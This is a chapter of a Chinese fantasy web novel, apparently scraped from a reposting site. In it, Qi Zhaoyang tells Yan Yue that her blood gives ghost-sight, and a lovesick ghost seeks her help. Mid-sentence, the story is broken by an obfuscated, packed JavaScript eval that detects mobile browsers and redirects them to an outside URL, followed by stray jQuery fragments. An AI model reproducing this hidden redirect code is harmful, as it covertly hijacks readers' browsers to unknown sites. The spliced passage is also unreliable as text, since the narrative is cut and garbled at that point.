61.他的爱1

作品:《冥神她只想吃瓜

    新年伊始,白尘总能想出新鲜花样,带着众人一起玩得乐不思蜀。


    大家成日吃吃喝喝、各式玩乐。可每次齐昭阳一靠近阎月,白尘就会陡然冒出来,一连数日,愣是没让齐昭阳找到机会跟阎月单独相处一会儿。


    大年初七,齐昭阳接到师门的信,看到信沉默了良久,突然开口邀请阎月去清虚观游玩。


    元月十五过后铺子就开业了,阎月懒得折腾赶路,何况她还要学傍身的武艺,直接就回绝了。


    当晚,阎月正抱着小白泡脚,齐昭阳来敲门,说了一通什么“人妖鬼,多殊途”、“妖多奸诈”、“莫要错付”之类云云。


    阎月晚上喝了点酒,听得云里雾里,迷茫发问:“你是不是也嫌我晦气?”


    “啊?”齐昭阳都懵了,“你怎会如此想?”


    阎月酒劲儿上头,质问道:“那你是何意?我就是这招妖见鬼的体质啊!”


    “更何况,我一点都不觉得跟他们在一块有什么不好!南青聪明又能干、白尘武艺高强、有钱有趣、周霖虽然唠叨,却很贴心、蒋老友爱慈祥。他们个个好得很,比许多人都好多了!我就乐意跟他们混在一块!”


    齐昭阳见她误会,笨嘴拙舌地解释:“我,我不是让你远离他们,我是怕……”


    到嘴边的话,又生生被齐昭阳咽了回去,因为他不想提醒她,白尘对她生了男女之情。


    就目前看来,阎月虽对他无心,但对白尘也无意。可若经他这么一提醒,阎月意识到此事,怕是反倒会坏事。


    “月月,我实话跟你说了吧!”


    齐昭阳为了平息阎月的怒气,只得说出秘密,“其实我能见到鬼,全是因为你。”


    阎月诧异抬头,连趴在怀里的小白也跟着立起耳朵。


    齐昭阳压低声音道:“你还记不记得,处置冯家闹事的恶鬼?那日你为阻止我诛魏萍,抬起手臂挡开了剑,因此受伤。我怀疑,是那日混乱之中,你的血滴进了我的左眼。”


    阎月吃惊地问:“是我的血让你疼成那样的?不该啊!你和楚枝都碰过我的血,并无异样,按理说,我的血只能克制妖啊!”


    齐昭阳提醒道:“不止是妖,鬼也不能近你的身。我猜测,或许眼是心灵之门,你的血若从眼进入,便能让人拥有同样的见鬼能力。”


    阎月有些兴奋:“还能这样?那我给楚枝和南青滴两滴血,她们岂不就……”


    “不可!”齐昭阳厉声呵斥,“你绝不能让任何人知道此事!”


    阎月不明所以:“为何?”


    齐昭阳严肃道:“你可知,能见冥府之人,是多少人梦寐以求的能力?若让外人知晓你的血有此等功效,你可知,你会是何下场?”


    阎月怯声问:“会……怎样?”


    齐昭阳道:“你会被人囚禁圈养起来,每日不断放血!甚至天价售卖你的血,用来对付、震慑妖邪!”


    阎月毛骨悚然,点头如啄米:“我不说!我谁都不说,绝对不说!”


    一想到自己会被关在暗无天日的地牢里,每天割血放血,她就觉得,这可真是个天大的秘密啊!


    齐昭阳神色缓和下来,转圜道:“我知你心思单纯,可周霖、白尘他们终究非我族类。若叫他们知晓你身负此等能力,难保不会叫其他人知晓。尤其是妖!”


    他严厉警告道:“若让有心的妖邪知晓此事,你此生,便再无安生日子过了!”


    阎月嘴一瘪,带着哭腔埋怨他:“那你干嘛告诉我呀!我不知道不就好了?若是我不小心说梦话叫人听去了怎么办啊?那我不是死定了?”


    齐昭阳无奈地安慰道:“别担心月月,有我在。”


    他从怀里掏出三张符篆,再一次鼓足勇气:“这次回师门,我想禀明师父,把你接去清虚观。月月,你可愿意?”


    阎月迟疑地问:“那,那茶楼怎么办?”


    齐昭阳忙说:“我可以在清虚观山下的城镇,再给你开一间茶楼,继续让小枝、南青帮你打理。你在山上闷了,可以下山去找她俩。”


    阎月好不容易才在临江城立稳脚跟,这里山清水秀,还有郑家、冯家帮衬。


    秦捕快救得那位许姑娘,也来了茶楼做事,跟南青学打理生意。若自己离开,好不容易走出家门的许姑娘,又该如何呢?郑熠、冯坚再翘课,没有她做幌子了,会挨打的吧?


    见阎月神色彷徨,齐昭阳将符纸放到阎月床边,蹲在她身前,含情脉脉地说:“月月,只要你愿意,我会保护你、照顾你一辈子。”


    小白恶狠狠地盯着齐昭阳,龇着牙想咬上去,却听头顶上传来不解风情的声音。


    “不至于,我还没让人抽干血呢!”


    阎月捡起三张符篆说:“清虚观我就不去了,我还没把周霖送回祖坟,大黑年纪大了,也经不起这番折腾。你若有良心,多给我来点符篆就是!”


    齐昭阳不免露出失望的神色,可没待他说话,阎月又补充了一句:“事关性命,我定会守口如瓶!你也不能再告诉别人了嗷!尤其楚枝,她那嘴属漏勺的,断不能信!”


    齐昭阳无奈叹了一声,落寞离去。


    阎月撸着小白,不明所以地问:“他是不是在清虚观太闷了,想把大家伙拉去解闷儿?”


    小白蹭蹭她的下巴,又伸出舌头舔了下,以资鼓励:对,你就这么想!


    湿湿痒痒的感觉传来,阎月心花怒放,瞬间就把齐昭阳抛到九霄云外,“啊啊啊,你今日怎么这么乖呀!又贴贴、又舔我,是不是犯什么错误啦?”


    *


    齐昭阳离去,白尘的“殷勤”程度直线下降,显得有些好吃懒做。


    阎月因得知自己血液的秘密,更加痴迷练武,楚枝打理家里的一切,愈发看白尘不顺眼。


    临近上元节,楚枝要购置些灯笼回来装点院子。一行人逛得尽兴,直到灯火亮起才回家,才进家门,却见蒋老和周霖正在院中,与一名青衫男子说着话。


    一见阎月,周霖立即起身:“月姑娘,你们……”


    楚枝无知无觉,径直从那青衫男子的身体穿过,莫名打了个哆嗦,对着虚空怒道:“周霖!你就不会避着点我吗?”


    楚枝看不见鬼,但相处数月早已有了经验。只要周遭突然冒起寒意,或是有冷风钻领子,就是有鬼近身的表现。她行事风风火火,跟周霖撞上好几次,每每都要骂上一句。


    南青看着多出的一团影子,问阎月:“大概不是周霖?”


    阎月点点头:“来客人了。”


    来“做客”的鬼名唤张济存,生


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14971106|155073||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得清瘦,但五官周正,笑起来和和润润的,看起来很好相处。据周霖和蒋老说,是他自己找上门的,来求阎月帮个忙。


    蒋老替张济存说好话:“小张公子是个情深一往的痴情人,姑娘你就帮帮他吧!”


    有瓜吃,阎月来了精神。


    直到月上树梢,小院还飘荡着阎月的转述和楚枝的感叹声。


    “哈哈,这个更离谱!”


    阎月手舞足蹈地转述:“那姑娘喜欢一位梨园名角的戏,有天那位名角在戏院有演出,戏院外面放着个木牌,上面有那名角画像和签名,还有当天演出的曲目。张济存趁人不注意,抱起那个木牌就跑,把戏院的人都看懵了!等反应过来,一群人乌泱乌泱去追他,闹得鸡飞狗跳!”


    “哈哈哈哈,简直了……”楚枝捧腹大笑,追问道:“然后呢?被抓住了没?”


    阎月笑说:“没有,他跑掉了,然后就把那木牌给心爱的姑娘送去了!真想不到,他看起来这么老实,居然会做出这么离谱的事!”


    南青插了句嘴:“戏楼真倒霉,遭此无妄之灾!”


    楚枝不满道:“南青姐,你的关注点怎么在戏楼?张公子如今尸骨未寒,却还惦记想要送给那位姑娘的画眉鸟,多叫人感动啊!”


    南青耸耸肩,表示不甚理解,“有何值得感动的?又无恩义在,为讨好个不相干的人枉送性命,不是傻么?”


    张济存脸上的笑僵住,阎月连忙打圆场:“恩义之外,还有个情字,你不懂!天色不早了,周霖你带张公子去倒座休息吧!明日我便去他说的地方,找找那只画眉鸟,给他的施姑娘送去。”


    张济存谢过阎月,随周霖去了空着的那间倒座房。


    楚枝望着张济存的背影,感慨道:“他好专情啊!大半夜去江上钓心爱姑娘喜欢吃的鱼、五更天去寺庙替对方抢下第一柱香、数九寒天给对方买包子,怕包子凉揣在怀里、在乞巧节给对方放一百只河灯……若有人肯为我做这些,我一定当场就嫁了!”


    “那你可想清楚了!”阎月揶揄道:“嫁人之后,可就不能再看别家俊俏的小郎君喽!”


    南青跟着打趣:“不影响。咱们小枝的心大着呐,再多男人都装得下!”


    三个姑娘嬉笑着散去,白尘看着熟睡中的阎月,暗暗琢磨:原来女人喜欢这套?


    没等白尘想着从哪折些花来,阎月便无意识地抬手将他捞进怀里,嘴里咕哝道:“小白,别乱跑……”


    她近来不会再突然“凉”了,白尘总算能睡个安稳觉了,只是还是没弄懂她突然变凉的原因,让人心里不甚踏实。


    临近清早,白鹭豹来唤他。


    “如今族中势力三方割据,那骚狐狸诡计多端,笼络了一帮后生,对大位跃跃欲试;豹尾带着白袜子他们对抗着,坚称要守着大位等您回去,绝不让暗害您的人得逞。”


    白尘问:“最后一波是山魈和老狒狒?”


    白鹭豹答:“对。以老狒狒、山魈为首的一波老人想要□□妖族,如今就靠他们在制衡着两方势力。尊上,害你的人定是那骚狐狸,咱们杀回去吧!”


    白尘道:“再等等,我还有事……”


    话未说完,耳边突然传来熟悉的脚步声,白尘出手如闪电,抬手“啪”地按在白鹭豹头顶!